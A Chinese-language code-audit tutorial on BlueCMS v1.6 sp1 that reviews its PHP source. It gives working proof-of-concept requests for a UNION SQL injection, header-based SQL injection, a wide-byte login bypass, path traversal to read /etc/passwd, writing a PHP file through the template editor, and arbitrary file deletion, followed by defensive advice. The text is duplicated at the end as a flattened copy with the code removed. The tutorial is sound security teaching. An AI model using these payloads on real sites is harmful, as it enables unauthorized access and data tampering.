通过 BlueCMS 学习 php 代码审计
字数 1406 2025-08-13 21:33:22

BlueCMS v1.6 sp1 代码审计实战教程

0x00 前言

本教程将详细分析BlueCMS v1.6 sp1版本的代码审计过程,涵盖从基础环境搭建到漏洞挖掘的全过程。BlueCMS作为早期流行的CMS系统,是学习PHP代码审计的经典案例,通过对其审计可以掌握常见Web漏洞的挖掘方法。

0x01 环境准备

系统简介

BlueCMS是一款应用于地方分类信息的门户系统,v1.6 sp1版发布于2010年左右。该系统采用传统PHP开发模式,未使用MVC架构,适合初学者理解基础PHP开发模式。

环境搭建

  1. 源码获取:可从站长之家(http://down.chinaz.com/)下载
  2. 安装步骤:
    • 访问/install/index.php进行安装
    • 安装过程可能存在小bug,但返回首页后通常能安装成功

0x02 全局代码分析

目录结构

/ (根目录)
├── index.php            # 前台入口文件
├── admin/               # 后台目录
│   ├── index.php        # 后台入口文件
│   └── ...              
├── include/             # 核心函数库
│   ├── common.inc.php   # 全局配置文件
│   ├── common.fun.php   # 公共函数库
│   └── mysql.class.php  # 数据库操作类
└── templates/           # 模板文件

核心文件分析

1. 前台入口 index.php

require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
// 获取数据并显示
$smarty->display('index.htm');

2. 全局配置文件 common.inc.php

// 数据过滤
if(!get_magic_quotes_gpc()){
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

// 数据库连接
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

// Smarty模板引擎
$smarty = new Smarty();

// IP黑名单检查
$banned_ip = get_bannedip();
if (@in_array($online_ip, $banned_ip)){
    showmsg('对不起,您的IP已被禁止!');
}

3. 数据过滤函数 deep_addslashes()

function deep_addslashes($str){
    if(is_array($str)){
        foreach($str as $key=>$val){
            $str[$key] = deep_addslashes($val);
        }
    }else{
        $str = addslashes($str);
    }
    return $str;
}

4. 数据库操作类 mysql.class.php

class mysql {
    var $linkid=null;
    
    function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk'){
        // 使用GBK编码 - 可能导致宽字节注入
        mysql_query("SET NAMES gbk");
    }
    
    // SQL执行方法
    function query($sql){
        if(!$query=@mysql_query($sql, $this->linkid)){
            $this->dbshow("Query error:$sql");
        }else{
            return $query;
        }
    }
    
    // 查询单条数据
    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }
}

0x03 漏洞审计与分析

1. 数字型SQL注入

漏洞文件: ad_js.php

require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

漏洞分析:

  • ad_id参数未使用引号包裹
  • 虽然经过addslashes过滤,但数字型注入不受影响
  • 可直接拼接SQL语句

漏洞复现:

http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+

2. $_SERVER变量注入

漏洞文件: guest_book.php

require dirname(__FILE__) . '/include/common.inc.php';
if($act == 'send'){
    $sql = "INSERT INTO ".table('guest_book')." VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
    $db->query($sql);
}

相关函数 (common.fun.php):

function getip(){
    if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

漏洞分析:

  • 程序未过滤$_SERVER变量
  • 攻击者可伪造HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR头注入SQL

漏洞复现:

POST /guest_book.php HTTP/1.1
Host: bluecms.test:8888
X_FORWARDED_FOR: 192.168.44.1',user())#
Content-Length: 37

content=hello&act=send&page_id=1&rid=

3. 宽字节注入

漏洞文件: admin/login.php

require_once(dirname(__FILE__) . '/include/common.inc.php');
if($act == 'do_login'){
    $admin_name = trim($_POST['admin_name']);
    $admin_pwd = trim($_POST['admin_pwd']);
    if(check_admin($admin_name, $admin_pwd)){
        // 登录成功
    }
}

验证函数 (admin/include/common.fun.php):

function check_admin($name, $pwd){
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
    return $row['num'] > 0;
}

漏洞分析:

  • 数据库使用GBK编码
  • 可利用宽字节绕过addslashes过滤
  • 构造特殊字符使转义符失效

漏洞复现:

POST /admin/login.php HTTP/1.1
Host: bluecms.test:8888

act=do_login&admin_name=admin%df%27or%201=1%23&admin_pwd=123456

4. 任意文件读取/写入

漏洞文件: admin/tpl_manage.php

require_once(dirname(__FILE__).'/include/common.inc.php');

if($act == 'edit'){
    $file = $_GET['tpl_name'];
    $handle = fopen(BLUE_ROOT.'templates/default/'.$file, 'rb');
    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
}

if($act == 'do_edit'){
    $tpl_name = trim($_POST['tpl_name']);
    $tpl_content = deep_stripslashes($_POST['tpl_content']);
    $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
    $handle = fopen($tpl, 'wb');
    fwrite($handle, $tpl_content);
}

漏洞分析:

  • tpl_name参数未过滤,可通过../实现目录穿越
  • deep_stripslashes()完全还原用户输入内容
  • 可读取或写入服务器任意文件

漏洞复现:

  1. 任意文件读取:
http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=../../../../etc/passwd
  1. 任意文件写入:
POST /admin/tpl_manage.php HTTP/1.1
Host: bluecms.test:8888

tpl_content=<?php phpinfo();?>&tpl_name=shell.php&act=do_edit

5. 任意文件删除

漏洞文件: user.php

elseif ($act == 'del_pic') {
    $id = $_REQUEST['id'];
    $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
    if (file_exists(BLUE_ROOT . $id)) {
        @unlink(BLUE_ROOT . $id);
    }
}

漏洞分析:

  • id参数可控且直接传入unlink()
  • 虽然前置SQL可能报错,但不影响unlink执行
  • 可删除服务器任意文件

0x04 防御建议

  1. SQL注入防御:

    • 使用预处理语句(PDO/mysqli)
    • 严格类型转换(intval等)
    • 统一字符集为UTF-8避免宽字节问题
  2. 文件操作防御:

    • 限制操作目录范围
    • 检查文件名合法性(正则过滤)
    • 禁用../等路径穿越字符
  3. 全局安全增强:

    • 过滤所有外部输入($_SERVER等)
    • 实现单一入口模式
    • 严格权限控制

0x05 总结

通过对BlueCMS的审计,我们学习了以下关键知识点:

  1. 数字型SQL注入的挖掘方法
  2. 宽字节注入的原理与利用
  3. $_SERVER变量的安全隐患
  4. 文件操作类漏洞的审计技巧
  5. 早期CMS的常见安全缺陷

这些知识不仅适用于BlueCMS,也可应用于其他类似系统的安全审计工作中。

BlueCMS v1.6 sp1 代码审计实战教程 0x00 前言 本教程将详细分析BlueCMS v1.6 sp1版本的代码审计过程,涵盖从基础环境搭建到漏洞挖掘的全过程。BlueCMS作为早期流行的CMS系统,是学习PHP代码审计的经典案例,通过对其审计可以掌握常见Web漏洞的挖掘方法。 0x01 环境准备 系统简介 BlueCMS是一款应用于地方分类信息的门户系统,v1.6 sp1版发布于2010年左右。该系统采用传统PHP开发模式,未使用MVC架构,适合初学者理解基础PHP开发模式。 环境搭建 源码获取:可从站长之家(http://down.chinaz.com/)下载 安装步骤: 访问/install/index.php进行安装 安装过程可能存在小bug,但返回首页后通常能安装成功 0x02 全局代码分析 目录结构 核心文件分析 1. 前台入口 index.php 2. 全局配置文件 common.inc.php 3. 数据过滤函数 deep_ addslashes() 4. 数据库操作类 mysql.class.php 0x03 漏洞审计与分析 1. 数字型SQL注入 漏洞文件 : ad_ js.php 漏洞分析 : ad_ id参数未使用引号包裹 虽然经过addslashes过滤,但数字型注入不受影响 可直接拼接SQL语句 漏洞复现 : 2. $_ SERVER变量注入 漏洞文件 : guest_ book.php 相关函数 (common.fun.php): 漏洞分析 : 程序未过滤$_ SERVER变量 攻击者可伪造HTTP_ CLIENT_ IP或HTTP_ X_ FORWARDED_ FOR头注入SQL 漏洞复现 : 3. 宽字节注入 漏洞文件 : admin/login.php 验证函数 (admin/include/common.fun.php): 漏洞分析 : 数据库使用GBK编码 可利用宽字节绕过addslashes过滤 构造特殊字符使转义符失效 漏洞复现 : 4. 任意文件读取/写入 漏洞文件 : admin/tpl_ manage.php 漏洞分析 : tpl_ name参数未过滤,可通过../实现目录穿越 deep_ stripslashes()完全还原用户输入内容 可读取或写入服务器任意文件 漏洞复现 : 任意文件读取: 任意文件写入: 5. 任意文件删除 漏洞文件 : user.php 漏洞分析 : id参数可控且直接传入unlink() 虽然前置SQL可能报错,但不影响unlink执行 可删除服务器任意文件 0x04 防御建议 SQL注入防御 : 使用预处理语句(PDO/mysqli) 严格类型转换(intval等) 统一字符集为UTF-8避免宽字节问题 文件操作防御 : 限制操作目录范围 检查文件名合法性(正则过滤) 禁用../等路径穿越字符 全局安全增强 : 过滤所有外部输入($_ SERVER等) 实现单一入口模式 严格权限控制 0x05 总结 通过对BlueCMS的审计,我们学习了以下关键知识点: 数字型SQL注入的挖掘方法 宽字节注入的原理与利用 $_ SERVER变量的安全隐患 文件操作类漏洞的审计技巧 早期CMS的常见安全缺陷 这些知识不仅适用于BlueCMS,也可应用于其他类似系统的安全审计工作中。